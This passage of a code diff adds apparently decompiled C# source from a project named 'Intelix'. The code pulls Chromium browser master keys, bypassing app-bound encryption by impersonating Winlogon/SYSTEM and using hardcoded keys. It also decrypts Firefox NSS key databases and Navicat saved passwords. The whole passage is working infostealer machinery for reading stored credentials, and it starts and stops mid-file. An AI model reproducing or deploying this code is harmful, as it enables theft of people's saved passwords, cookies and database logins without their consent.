int num2 = array2.Length - 12 - 16;
|
||||
byte[] array4 = new byte[num2];
|
||||
Array.Copy(array2, 12, array4, 0, num2);
|
||||
byte[] array5 = new byte[16];
|
||||
Array.Copy(array2, array2.Length - 16, array5, 0, 16);
|
||||
byte[] array6 = AesGcm256.Decrypt(encryptionKey, array3, null, array4, array5);
|
||||
if (BitConverter.ToInt32(array6, 0) == 538050824)
|
||||
{
|
||||
byte[] array7 = new byte[32];
|
||||
Array.Copy(array6, 4, array7, 0, 32);
|
||||
return array7;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static int FindByteSequence(byte[] src, byte[] pattern)
|
||||
{
|
||||
int num = src.Length - pattern.Length + 1;
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
if (src[i] != pattern[0])
|
||||
{
|
||||
continue;
|
||||
}
|
||||
int num2 = pattern.Length - 1;
|
||||
while (num2 >= 1 && src[i + num2] == pattern[num2])
|
||||
{
|
||||
if (num2 == 1)
|
||||
{
|
||||
return i;
|
||||
}
|
||||
num2--;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,226 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public static class LocalState
|
||||
{
|
||||
private static readonly ConcurrentDictionary<string, Lazy<byte[]>> _masterKeyCacheV10 = new ConcurrentDictionary<string, Lazy<byte[]>>();
|
||||
|
||||
private static readonly ConcurrentDictionary<string, Lazy<byte[]>> _masterKeyCacheV20 = new ConcurrentDictionary<string, Lazy<byte[]>>();
|
||||
|
||||
private static readonly ConcurrentDictionary<string, SemaphoreSlim> _locks = new ConcurrentDictionary<string, SemaphoreSlim>();
|
||||
|
||||
public static List<string[]> GetMasterKeys()
|
||||
{
|
||||
List<string[]> list = new List<string[]>();
|
||||
foreach (KeyValuePair<string, Lazy<byte[]>> item in _masterKeyCacheV10)
|
||||
{
|
||||
try
|
||||
{
|
||||
string text = item.Key ?? "";
|
||||
Lazy<byte[]> value = item.Value;
|
||||
if (value == null)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
byte[] value2 = value.Value;
|
||||
if (value2 != null)
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder(value2.Length * 2);
|
||||
byte[] array = value2;
|
||||
foreach (byte b in array)
|
||||
{
|
||||
stringBuilder.Append(b.ToString("X2"));
|
||||
}
|
||||
list.Add(new string[3]
|
||||
{
|
||||
text,
|
||||
"v10",
|
||||
stringBuilder.ToString()
|
||||
});
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
foreach (KeyValuePair<string, Lazy<byte[]>> item2 in _masterKeyCacheV20)
|
||||
{
|
||||
try
|
||||
{
|
||||
string text2 = item2.Key ?? "";
|
||||
Lazy<byte[]> value3 = item2.Value;
|
||||
if (value3 == null)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
byte[] value4 = value3.Value;
|
||||
if (value4 != null)
|
||||
{
|
||||
StringBuilder stringBuilder2 = new StringBuilder(value4.Length * 2);
|
||||
byte[] array = value4;
|
||||
foreach (byte b2 in array)
|
||||
{
|
||||
stringBuilder2.Append(b2.ToString("X2"));
|
||||
}
|
||||
list.Add(new string[3]
|
||||
{
|
||||
text2,
|
||||
"v20",
|
||||
stringBuilder2.ToString()
|
||||
});
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
public static byte[] MasterKeyV20(string localstate)
|
||||
{
|
||||
SemaphoreSlim orAdd = _locks.GetOrAdd(localstate, (string _) => new SemaphoreSlim(1, 1));
|
||||
orAdd.Wait();
|
||||
try
|
||||
{
|
||||
if (_masterKeyCacheV20.TryGetValue(localstate, out var value))
|
||||
{
|
||||
return value.Value;
|
||||
}
|
||||
Lazy<byte[]> lazy = new Lazy<byte[]>(() => ComputeMasterKeyV20(localstate));
|
||||
_masterKeyCacheV20[localstate] = lazy;
|
||||
return lazy.Value;
|
||||
}
|
||||
finally
|
||||
{
|
||||
orAdd.Release();
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[] ComputeMasterKeyV20(string localstate)
|
||||
{
|
||||
try
|
||||
{
|
||||
Match match = Regex.Match(LocalStateContent(localstate), "\"app_bound_encrypted_key\"\\s*:\\s*\"([^\"]+)\"");
|
||||
if (!match.Success)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
BlobParsedData blobParsedData = ParseKeyBlob.Parse(DecryptAsSystemUser(Convert.FromBase64String(match.Groups[1].Value).Skip(4).ToArray()));
|
||||
switch (blobParsedData.Flag)
|
||||
{
|
||||
case 1:
|
||||
return AesGcm256.Decrypt(new byte[32]
|
||||
{
|
||||
179, 28, 110, 36, 26, 200, 70, 114, 141, 169,
|
||||
193, 250, 196, 147, 102, 81, 207, 251, 148, 77,
|
||||
20, 58, 184, 22, 39, 107, 204, 109, 160, 40,
|
||||
71, 135
|
||||
}, blobParsedData.Iv, null, blobParsedData.Ciphertext, blobParsedData.Tag);
|
||||
case 2:
|
||||
return ChaCha20Poly1305.Decrypt(new byte[32]
|
||||
{
|
||||
233, 143, 55, 215, 244, 225, 250, 67, 61, 25,
|
||||
48, 77, 194, 37, 128, 66, 9, 14, 45, 29,
|
||||
126, 234, 118, 112, 212, 31, 115, 141, 8, 114,
|
||||
150, 96
|
||||
}, blobParsedData.Iv, blobParsedData.Ciphertext, blobParsedData.Tag);
|
||||
case 3:
|
||||
{
|
||||
byte[] array = new byte[32]
|
||||
{
|
||||
204, 248, 161, 206, 197, 102, 5, 184, 81, 117,
|
||||
82, 186, 26, 45, 6, 28, 3, 162, 158, 144,
|
||||
39, 79, 178, 252, 245, 155, 164, 183, 92, 57,
|
||||
35, 144
|
||||
};
|
||||
byte[] array2 = CDecryptor(blobParsedData.EncryptedAesKey);
|
||||
for (int i = 0; i < array2.Length; i++)
|
||||
{
|
||||
array2[i] ^= array[i];
|
||||
}
|
||||
return AesGcm256.Decrypt(array2, blobParsedData.Iv, null, blobParsedData.Ciphertext, blobParsedData.Tag);
|
||||
}
|
||||
case 32:
|
||||
return blobParsedData.EncryptedAesKey;
|
||||
default:
|
||||
return null;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] MasterKeyV10(string localstate)
|
||||
{
|
||||
SemaphoreSlim orAdd = _locks.GetOrAdd(localstate, (string _) => new SemaphoreSlim(1, 1));
|
||||
orAdd.Wait();
|
||||
try
|
||||
{
|
||||
if (_masterKeyCacheV10.TryGetValue(localstate, out var value))
|
||||
{
|
||||
return value.Value;
|
||||
}
|
||||
Lazy<byte[]> lazy = new Lazy<byte[]>(() => ComputeMasterKeyV10(localstate));
|
||||
_masterKeyCacheV10[localstate] = lazy;
|
||||
return lazy.Value;
|
||||
}
|
||||
finally
|
||||
{
|
||||
orAdd.Release();
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[] ComputeMasterKeyV10(string localstate)
|
||||
{
|
||||
try
|
||||
{
|
||||
Match match = Regex.Match(LocalStateContent(localstate), "\"encrypted_key\":\"(.*?)\"");
|
||||
if (!match.Success)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
return DpApi.Decrypt(Convert.FromBase64String(match.Groups[1].Value).Skip(5).ToArray());
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[] CDecryptor(byte[] encryptedData)
|
||||
{
|
||||
using (ImpersonationHelper.ImpersonateWinlogon())
|
||||
{
|
||||
return CngDecryptor.Decrypt(encryptedData);
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[] DecryptAsSystemUser(byte[] encryptedData)
|
||||
{
|
||||
using (ImpersonationHelper.ImpersonateWinlogon())
|
||||
{
|
||||
encryptedData = DpApi.Decrypt(encryptedData);
|
||||
}
|
||||
return DpApi.Decrypt(encryptedData);
|
||||
}
|
||||
|
||||
private static string LocalStateContent(string localstate)
|
||||
{
|
||||
string text = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName());
|
||||
File.Copy(localstate, text, overwrite: true);
|
||||
string result = File.ReadAllText(text);
|
||||
File.Delete(text);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public static class NSSDecryptor
|
||||
{
|
||||
public struct SECItem
|
||||
{
|
||||
public int Type;
|
||||
|
||||
public IntPtr Data;
|
||||
|
||||
public int Len;
|
||||
}
|
||||
|
||||
[DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
private static extern int NSS_Init(string configdir);
|
||||
|
||||
[DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
private static extern int NSS_Shutdown();
|
||||
|
||||
[DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
private static extern int PK11SDR_Decrypt(ref SECItem data, ref SECItem result, int cx);
|
||||
|
||||
public static bool Initialize(string profilePath)
|
||||
{
|
||||
try
|
||||
{
|
||||
string text = "C:\\Program Files\\Mozilla Firefox";
|
||||
if (!Directory.Exists(text))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
string environmentVariable = Environment.GetEnvironmentVariable("PATH");
|
||||
environmentVariable = environmentVariable + ";" + text;
|
||||
Environment.SetEnvironmentVariable("PATH", environmentVariable);
|
||||
return NSS_Init(profilePath) == 0;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public static string Decrypt(string base64)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] array = Convert.FromBase64String(base64);
|
||||
if (array.Length == 0)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
SECItem data = new SECItem
|
||||
{
|
||||
Data = Marshal.AllocHGlobal(array.Length),
|
||||
Len = array.Length,
|
||||
Type = 0
|
||||
};
|
||||
Marshal.Copy(array, 0, data.Data, array.Length);
|
||||
SECItem result = default(SECItem);
|
||||
int num = PK11SDR_Decrypt(ref data, ref result, 0);
|
||||
Marshal.FreeHGlobal(data.Data);
|
||||
if (num != 0 || result.Data == IntPtr.Zero)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
byte[] array2 = new byte[result.Len];
|
||||
Marshal.Copy(result.Data, array2, 0, result.Len);
|
||||
return Encoding.UTF8.GetString(array2);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
using System;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public class Navicat11Cipher
|
||||
{
|
||||
private Blowfish blowfishCipher;
|
||||
|
||||
protected byte[] StringToByteArray(string hex)
|
||||
{
|
||||
return (from x in Enumerable.Range(0, hex.Length)
|
||||
where x % 2 == 0
|
||||
select Convert.ToByte(hex.Substring(x, 2), 16)).ToArray();
|
||||
}
|
||||
|
||||
protected void XorBytes(byte[] a, byte[] b, int len)
|
||||
{
|
||||
for (int i = 0; i < len; i++)
|
||||
{
|
||||
a[i] ^= b[i];
|
||||
}
|
||||
}
|
||||
|
||||
public Navicat11Cipher()
|
||||
{
|
||||
byte[] array = new byte[8] { 51, 68, 67, 53, 67, 65, 51, 57 };
|
||||
using SHA1CryptoServiceProvider sHA1CryptoServiceProvider = new SHA1CryptoServiceProvider();
|
||||
sHA1CryptoServiceProvider.TransformFinalBlock(array, 0, array.Length);
|
||||
blowfishCipher = new Blowfish(sHA1CryptoServiceProvider.Hash);
|
||||
}
|
||||
|
||||
public string DecryptString(string ciphertext)
|
||||
{
|
||||
byte[] array = StringToByteArray(ciphertext);
|
||||
byte[] array2 = Enumerable.Repeat(byte.MaxValue, blowfishCipher.BlockSize).ToArray();
|
||||
blowfishCipher.Encrypt(array2, Blowfish.Endian.Big);
|
||||
byte[] array3 = new byte[0];
|
||||
int num = array.Length / blowfishCipher.BlockSize;
|
||||
int num2 = array.Length % blowfishCipher.BlockSize;
|
||||
byte[] array4 = new byte[blowfishCipher.BlockSize];
|
||||
byte[] array5 = new byte[blowfishCipher.BlockSize];
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
Array.Copy(array, blowfishCipher.BlockSize * i, array4, 0, blowfishCipher.BlockSize);
|
||||
Array.Copy(array4, array5, blowfishCipher.BlockSize);
|
||||
blowfishCipher.Decrypt(array4, Blowfish.Endian.Big);
|
||||
XorBytes(array4, array2, blowfishCipher.BlockSize);
|
||||
array3 = array3.Concat(array4).ToArray();
|
||||
XorBytes(array2, array5, blowfishCipher.BlockSize);
|
||||
}
|
||||
if (num2 != 0)
|
||||
{
|
||||
Array.Clear(array4, 0, array4.Length);
|
||||
Array.Copy(array, blowfishCipher.BlockSize * num, array4, 0, num2);
|
||||
blowfishCipher.Encrypt(array2, Blowfish.Endian.Big);
|
||||
XorBytes(array4, array2, blowfishCipher.BlockSize);
|
||||
array3 = array3.Concat(array4.Take(num2).ToArray()).ToArray();
|
||||
}
|
||||
return Encoding.UTF8.GetString(array3);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,178 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Globalization;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using Intelix.Helper.Hashing;
|
||||
using Intelix.Helper.Sql;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public static class NssDumpMasterKey
|
||||
{
|
||||
public static byte[] Key4Database(string path)
|
||||
{
|
||||
Asn1Der asn1Der = new Asn1Der();
|
||||
SqLite sqLite = SqLite.ReadTable(path, "metaData");
|
||||
if (sqLite == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
for (int i = 0; i < sqLite.GetRowCount(); i++)
|
||||
{
|
||||
if (sqLite.GetValue(i, 0) != "password")
|
||||
{
|
||||
continue;
|
||||
}
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(sqLite.GetValue(i, 1));
|
||||
byte[] bytes2 = Encoding.UTF8.GetBytes(sqLite.GetValue(i, 2));
|
||||
if (bytes.Length < 1 || bytes2.Length < 1)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
Asn1DerObject asn1DerObject = asn1Der.Parse(bytes2);
|
||||
string text = asn1DerObject.ToString();
|
||||
if (text == null)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
if (text.Contains("2A864886F70D010C050103"))
|
||||
{
|
||||
byte[] array = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[0]?.Data;
|
||||
byte[] array2 = asn1DerObject.Objects[0]?.Objects[1]?.Data;
|
||||
if (array == null || array2 == null)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
byte[] bytes3 = new TripleDes(array2, bytes, new byte[0], array).Compute();
|
||||
if (!Encoding.GetEncoding("ISO-8859-1").GetString(bytes3).StartsWith("password-check"))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (!text.Contains("2A864886F70D01050D"))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
byte[] array3 = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[0]?.Objects[1]?.Objects[0]?.Data;
|
||||
byte[] array4 = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[2]?.Objects[1]?.Data;
|
||||
byte[] array5 = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[3]?.Data;
|
||||
if (array3 == null || array4 == null || array5 == null)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
byte[] bytes4 = new PBE(array5, bytes, new byte[0], array3, array4).Compute();
|
||||
if (!Encoding.GetEncoding("ISO-8859-1").GetString(bytes4).StartsWith("password-check"))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
}
|
||||
sqLite = SqLite.ReadTable(path, "nssPrivate");
|
||||
if (sqLite != null)
|
||||
{
|
||||
int num = 0;
|
||||
if (num < sqLite.GetRowCount())
|
||||
{
|
||||
byte[] bytes5 = Encoding.UTF8.GetBytes(sqLite.GetValue(num, 6));
|
||||
Asn1DerObject asn1DerObject2 = asn1Der.Parse(bytes5);
|
||||
byte[] sourceArray = new PBE(entrySalt: asn1DerObject2.Objects[0].Objects[0].Objects[1].Objects[0].Objects[1].Objects[0].Data, partIv: asn1DerObject2.Objects[0].Objects[0].Objects[1].Objects[2].Objects[1].Data, ciphertext: asn1DerObject2.Objects[0].Objects[0].Objects[1].Objects[3].Data, globalSalt: bytes, masterPassword: new byte[0]).Compute();
|
||||
byte[] array6 = new byte[24];
|
||||
Array.Copy(sourceArray, array6, array6.Length);
|
||||
return array6;
|
||||
}
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public static byte[] Key3Database(string path)
|
||||
{
|
||||
byte[] array = File.ReadAllBytes(path);
|
||||
if (array == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
Asn1Der asn1Der = new Asn1Der();
|
||||
BerkeleyDB berkeleyDB = new BerkeleyDB(array);
|
||||
string text = berkeleyDB.Keys.Where(delegate(KeyValuePair<string, string> p)
|
||||
{
|
||||
KeyValuePair<string, string> keyValuePair = p;
|
||||
return keyValuePair.Key.Equals("password-check");
|
||||
}).Select(delegate(KeyValuePair<string, string> p)
|
||||
{
|
||||
KeyValuePair<string, string> keyValuePair = p;
|
||||
return keyValuePair.Value;
|
||||
}).FirstOrDefault();
|
||||
if (text == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
text = text.Replace("-", null);
|
||||
int num = int.Parse(text.Substring(2, 2), NumberStyles.HexNumber) * 2;
|
||||
string hexString = text.Substring(6, num);
|
||||
int num2 = text.Length - (6 + num + 36);
|
||||
string hexString2 = text.Substring(6 + num + 4 + num2);
|
||||
string text2 = berkeleyDB.Keys.Where(delegate(KeyValuePair<string, string> p)
|
||||
{
|
||||
KeyValuePair<string, string> keyValuePair = p;
|
||||
return keyValuePair.Key.Equals("global-salt");
|
||||
}).Select(delegate(KeyValuePair<string, string> p)
|
||||
{
|
||||
KeyValuePair<string, string> keyValuePair = p;
|
||||
return keyValuePair.Value;
|
||||
}).FirstOrDefault();
|
||||
if (text2 == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
text2 = text2.Replace("-", null);
|
||||
TripleDes tripleDes = new TripleDes(HexToBytes(text2), Encoding.ASCII.GetBytes(""), HexToBytes(hexString));
|
||||
tripleDes.ComputeVoid();
|
||||
if (!TripleDes.DecryptStringDesCbc(tripleDes.Key, tripleDes.Vector, HexToBytes(hexString2)).StartsWith("password-check"))
|
||||
{
|
||||
return null;
|
||||
}
|
||||
string text3 = (from p in berkeleyDB.Keys
|
||||
where !p.Key.Equals("global-salt") && !p.Key.Equals("Version") && !p.Key.Equals("password-check")
|
||||
select p.Value).FirstOrDefault();
|
||||
if (text3 == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
text3 = text3.Replace("-", "");
|
||||
Asn1DerObject asn1DerObject = asn1Der.Parse(HexToBytes(text3));
|
||||
TripleDes tripleDes2 = new TripleDes(HexToBytes(text2), Encoding.ASCII.GetBytes(""), asn1DerObject.Objects[0].Objects[0].Objects[1].Objects[0].Data);
|
||||
tripleDes2.ComputeVoid();
|
||||
byte[] toParse = TripleDes.DecryptByteDesCbc(tripleDes2.Key, tripleDes2.Vector, asn1DerObject.Objects[0].Objects[1].Data);
|
||||
Asn1DerObject asn1DerObject2 = asn1Der.Parse(toParse);
|
||||
Asn1DerObject asn1DerObject3 = asn1Der.Parse(asn1DerObject2.Objects[0].Objects[2].Data);
|
||||
byte[] array2 = new byte[24];
|
||||
if (asn1DerObject3.Objects[0].Objects[3].Data.Length > 24)
|
||||
{
|
||||
Array.Copy(asn1DerObject3.Objects[0].Objects[3].Data, asn1DerObject3.Objects[0].Objects[3].Data.Length - 24, array2, 0, 24);
|
||||
}
|
||||
else
|
||||
{
|
||||
array2 = asn1DerObject3.Objects[0].Objects[3].Data;
|
||||
}
|
||||
return array2;
|
||||
}
|
||||
|
||||
public static byte[] HexToBytes(string hexString)
|
||||
{
|
||||
if (hexString.Length % 2 != 0)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
byte[] array = new byte[hexString.Length / 2];
|
||||
for (int i = 0; i < array.Length; i++)
|
||||
{
|
||||
string s = hexString.Substring(i * 2, 2);
|
||||
array[i] = byte.Parse(s, NumberStyles.HexNumber, CultureInfo.InvariantCulture);
|
||||
}
|
||||
return array;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public class RC4Crypt
|
||||
{
|
||||
public static byte[] Decrypt(byte[] key, byte[] data)
|
||||
{
|
||||
if (key == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
if (key.Length == 0)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
if (data == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
byte[] array = new byte[256];
|
||||
for (int i = 0; i < 256; i++)
|
||||
{
|
||||
array[i] = (byte)i;
|
||||
}
|
||||
int num = 0;
|
||||
for (int j = 0; j < 256; j++)
|
||||
{
|
||||
num = (num + array[j] + key[j % key.Length]) & 0xFF;
|
||||
Swap(array, j, num);
|
||||
}
|
||||
byte[] array2 = new byte[data.Length];
|
||||
int num2 = 0;
|
||||
num = 0;
|
||||
for (int k = 0; k < data.Length; k++)
|
||||
{
|
||||
num2 = (num2 + 1) & 0xFF;
|
||||
num = (num + array[num2]) & 0xFF;
|
||||
Swap(array, num2, num);
|
||||
byte b = array[(array[num2] + array[num]) & 0xFF];
|
||||
array2[k] = (byte)(data[k] ^ b);
|
||||
}
|
||||
return array2;
|
||||
}
|
||||
|
||||
private static void Swap(byte[] arr, int a, int b)
|
||||
{
|
||||
byte b2 = arr[a];
|
||||
arr[a] = arr[b];
|
||||
arr[b] = b2;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,163 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Security.Cryptography;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
internal class TripleDes
|
||||
{
|
||||
private byte[] CipherText { get; }
|
||||
|
||||
private byte[] GlobalSalt { get; }
|
||||
|
||||
private byte[] MasterPassword { get; }
|
||||
|
||||
private byte[] EntrySalt { get; }
|
||||
|
||||
public byte[] Key { get; private set; }
|
||||
|
||||
public byte[] Vector { get; private set; }
|
||||
|
||||
public TripleDes(byte[] cipherText, byte[] globalSalt, byte[] masterPass, byte[] entrySalt)
|
||||
{
|
||||
CipherText = cipherText;
|
||||
GlobalSalt = globalSalt;
|
||||
MasterPassword = masterPass;
|
||||
EntrySalt = entrySalt;
|
||||
}
|
||||
|
||||
public TripleDes(byte[] globalSalt, byte[] masterPassword, byte[] entrySalt)
|
||||
{
|
||||
GlobalSalt = globalSalt;
|
||||
MasterPassword = masterPassword;
|
||||
EntrySalt = entrySalt;
|
||||
}
|
||||
|
||||
public void ComputeVoid()
|
||||
{
|
||||
SHA1CryptoServiceProvider sHA1CryptoServiceProvider = new SHA1CryptoServiceProvider();
|
||||
byte[] array = new byte[GlobalSalt.Length + MasterPassword.Length];
|
||||
Array.Copy(GlobalSalt, 0, array, 0, GlobalSalt.Length);
|
||||
Array.Copy(MasterPassword, 0, array, GlobalSalt.Length, MasterPassword.Length);
|
||||
byte[] array2 = sHA1CryptoServiceProvider.ComputeHash(array);
|
||||
byte[] array3 = new byte[array2.Length + EntrySalt.Length];
|
||||
Array.Copy(array2, 0, array3, 0, array2.Length);
|
||||
Array.Copy(EntrySalt, 0, array3, array2.Length, EntrySalt.Length);
|
||||
byte[] key = sHA1CryptoServiceProvider.ComputeHash(array3);
|
||||
byte[] array4 = new byte[20];
|
||||
Array.Copy(EntrySalt, 0, array4, 0, EntrySalt.Length);
|
||||
for (int i = EntrySalt.Length; i < 20; i++)
|
||||
{
|
||||
array4[i] = 0;
|
||||
}
|
||||
byte[] array5 = new byte[array4.Length + EntrySalt.Length];
|
||||
Array.Copy(array4, 0, array5, 0, array4.Length);
|
||||
Array.Copy(EntrySalt, 0, array5, array4.Length, EntrySalt.Length);
|
||||
byte[] array6;
|
||||
byte[] array9;
|
||||
using (HMACSHA1 hMACSHA = new HMACSHA1(key))
|
||||
{
|
||||
array6 = hMACSHA.ComputeHash(array5);
|
||||
byte[] array7 = hMACSHA.ComputeHash(array4);
|
||||
byte[] array8 = new byte[array7.Length + EntrySalt.Length];
|
||||
Array.Copy(array7, 0, array8, 0, array7.Length);
|
||||
Array.Copy(EntrySalt, 0, array8, array7.Length, EntrySalt.Length);
|
||||
array9 = hMACSHA.ComputeHash(array8);
|
||||
}
|
||||
byte[] array10 = new byte[array6.Length + array9.Length];
|
||||
Array.Copy(array6, 0, array10, 0, array6.Length);
|
||||
Array.Copy(array9, 0, array10, array6.Length, array9.Length);
|
||||
Key = new byte[24];
|
||||
for (int j = 0; j < Key.Length; j++)
|
||||
{
|
||||
Key[j] = array10[j];
|
||||
}
|
||||
Vector = new byte[8];
|
||||
int num = Vector.Length - 1;
|
||||
for (int num2 = array10.Length - 1; num2 >= array10.Length - Vector.Length; num2--)
|
||||
{
|
||||
Vector[num] = array10[num2];
|
||||
num--;
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] Compute()
|
||||
{
|
||||
byte[] array = new byte[GlobalSalt.Length + MasterPassword.Length];
|
||||
Buffer.BlockCopy(GlobalSalt, 0, array, 0, GlobalSalt.Length);
|
||||
Buffer.BlockCopy(MasterPassword, 0, array, GlobalSalt.Length, MasterPassword.Length);
|
||||
byte[] array2 = new SHA1Managed().ComputeHash(array);
|
||||
byte[] array3 = new byte[array2.Length + EntrySalt.Length];
|
||||
Buffer.BlockCopy(array2, 0, array3, 0, array2.Length);
|
||||
Buffer.BlockCopy(EntrySalt, 0, array3, EntrySalt.Length, array2.Length);
|
||||
byte[] key = new SHA1Managed().ComputeHash(array3);
|
||||
byte[] array4 = new byte[20];
|
||||
Array.Copy(EntrySalt, 0, array4, 0, EntrySalt.Length);
|
||||
for (int i = EntrySalt.Length; i < 20; i++)
|
||||
{
|
||||
array4[i] = 0;
|
||||
}
|
||||
byte[] array5 = new byte[array4.Length + EntrySalt.Length];
|
||||
Array.Copy(array4, 0, array5, 0, array4.Length);
|
||||
Array.Copy(EntrySalt, 0, array5, array4.Length, EntrySalt.Length);
|
||||
byte[] array6;
|
||||
byte[] array9;
|
||||
using (HMACSHA1 hMACSHA = new HMACSHA1(key))
|
||||
{
|
||||
array6 = hMACSHA.ComputeHash(array5);
|
||||
byte[] array7 = hMACSHA.ComputeHash(array4);
|
||||
byte[] array8 = new byte[array7.Length + EntrySalt.Length];
|
||||
Buffer.BlockCopy(array7, 0, array8, 0, array7.Length);
|
||||
Buffer.BlockCopy(EntrySalt, 0, array8, array7.Length, EntrySalt.Length);
|
||||
array9 = hMACSHA.ComputeHash(array8);
|
||||
}
|
||||
byte[] array10 = new byte[array6.Length + array9.Length];
|
||||
Array.Copy(array6, 0, array10, 0, array6.Length);
|
||||
Array.Copy(array9, 0, array10, array6.Length, array9.Length);
|
||||
Key = new byte[24];
|
||||
for (int j = 0; j < Key.Length; j++)
|
||||
{
|
||||
Key[j] = array10[j];
|
||||
}
|
||||
Vector = new byte[8];
|
||||
int num = Vector.Length - 1;
|
||||
for (int num2 = array10.Length - 1; num2 >= array10.Length - Vector.Length; num2--)
|
||||
{
|
||||
Vector[num] = array10[num2];
|
||||
num--;
|
||||
}
|
||||
byte[] sourceArray = DecryptByteDesCbc(Key, Vector, CipherText);
|
||||
byte[] array11 = new byte[24];
|
||||
Array.Copy(sourceArray, array11, array11.Length);
|
||||
return array11;
|
||||
}
|
||||
|
||||
public static string DecryptStringDesCbc(byte[] key, byte[] iv, byte[] input)
|
||||
{
|
||||
using TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
|
||||
tripleDESCryptoServiceProvider.Key = key;
|
||||
tripleDESCryptoServiceProvider.IV = iv;
|
||||
tripleDESCryptoServiceProvider.Mode = CipherMode.CBC;
|
||||
tripleDESCryptoServiceProvider.Padding = PaddingMode.None;
|
||||
ICryptoTransform transform = tripleDESCryptoServiceProvider.CreateDecryptor(tripleDESCryptoServiceProvider.Key, tripleDESCryptoServiceProvider.IV);
|
||||
using MemoryStream stream = new MemoryStream(input);
|
||||
using CryptoStream stream2 = new CryptoStream(stream, transform, CryptoStreamMode.Read);
|
||||
using StreamReader streamReader = new StreamReader(stream2);
|
||||
return streamReader.ReadToEnd();
|
||||
}
|
||||
|
||||
public static byte[] DecryptByteDesCbc(byte[] key, byte[] iv, byte[] input)
|
||||
{
|
||||
byte[] array = new byte[512];
|
||||
using TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
|
||||
tripleDESCryptoServiceProvider.Key = key;
|
||||
tripleDESCryptoServiceProvider.IV = iv;
|
||||
tripleDESCryptoServiceProvider.Mode = CipherMode.CBC;
|
||||
tripleDESCryptoServiceProvider.Padding = PaddingMode.None;
|
||||
ICryptoTransform transform = tripleDESCryptoServiceProvider.CreateDecryptor(tripleDESCryptoServiceProvider.Key, tripleDESCryptoServiceProvider.IV);
|
